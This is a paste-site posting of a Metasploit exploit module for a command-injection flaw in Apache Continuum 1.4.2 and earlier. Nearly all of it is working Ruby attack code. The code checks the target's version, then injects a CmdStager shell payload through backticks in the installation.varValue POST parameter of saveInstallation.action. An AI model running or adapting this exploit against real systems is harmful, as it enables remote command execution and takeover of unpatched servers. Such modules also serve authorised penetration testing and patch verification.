Apache Continuum Arbitrary Command Execution


SUBMITTED BY: ayush9861

DATE: July 6, 2016, 7:40 a.m.

FORMAT: Text only

SIZE: 2.1 kB

HITS: 1006

  1. ##
  2. # This module requires Metasploit: http://metasploit.com/download
  3. # Current source: https://github.com/rapid7/metasploit-framework
  4. ##
  5. class MetasploitModule < Msf::Exploit::Remote
  6. Rank = ExcellentRanking
  7. include Msf::Exploit::Remote::HttpClient
  8. include Msf::Exploit::CmdStager
  9. def initialize(info = {})
  10. super(update_info(info,
  11. 'Name' => 'Apache Continuum Arbitrary Command Execution',
  12. 'Description' => %q{
  13. This module exploits a command injection in Apache Continuum <= 1.4.2.
  14. By injecting a command into the installation.varValue POST parameter to
  15. /continuum/saveInstallation.action, a shell can be spawned.
  16. },
  17. 'Author' => [
  18. 'David Shanahan', # Proof of concept
  19. 'wvu' # Metasploit module
  20. ],
  21. 'References' => [
  22. %w{EDB 39886}
  23. ],
  24. 'DisclosureDate' => 'Apr 6 2016',
  25. 'License' => MSF_LICENSE,
  26. 'Platform' => 'linux',
  27. 'Arch' => [ARCH_X86, ARCH_X86_64],
  28. 'Privileged' => false,
  29. 'Targets' => [
  30. ['Apache Continuum <= 1.4.2', {}]
  31. ],
  32. 'DefaultTarget' => 0
  33. ))
  34. register_options([
  35. Opt::RPORT(8080)
  36. ])
  37. end
  38. def check
  39. res = send_request_cgi(
  40. 'method' => 'GET',
  41. 'uri' => '/continuum/about.action'
  42. )
  43. if res && res.body.include?('1.4.2')
  44. CheckCode::Appears
  45. elsif res && res.code == 200
  46. CheckCode::Detected
  47. else
  48. CheckCode::Safe
  49. end
  50. end
  51. def exploit
  52. print_status('Injecting CmdStager payload...')
  53. execute_cmdstager(flavor: :bourne)
  54. end
  55. def execute_command(cmd, opts = {})
  56. send_request_cgi(
  57. 'method' => 'POST',
  58. 'uri' => '/continuum/saveInstallation.action',
  59. 'vars_post' => {
  60. 'installation.name' => Rex::Text.rand_text_alpha(8),
  61. 'installation.type' => 'jdk',
  62. 'installation.varValue' => '`' + cmd + '`'
  63. }
  64. )
  65. end
  66. end

comments powered by Disqus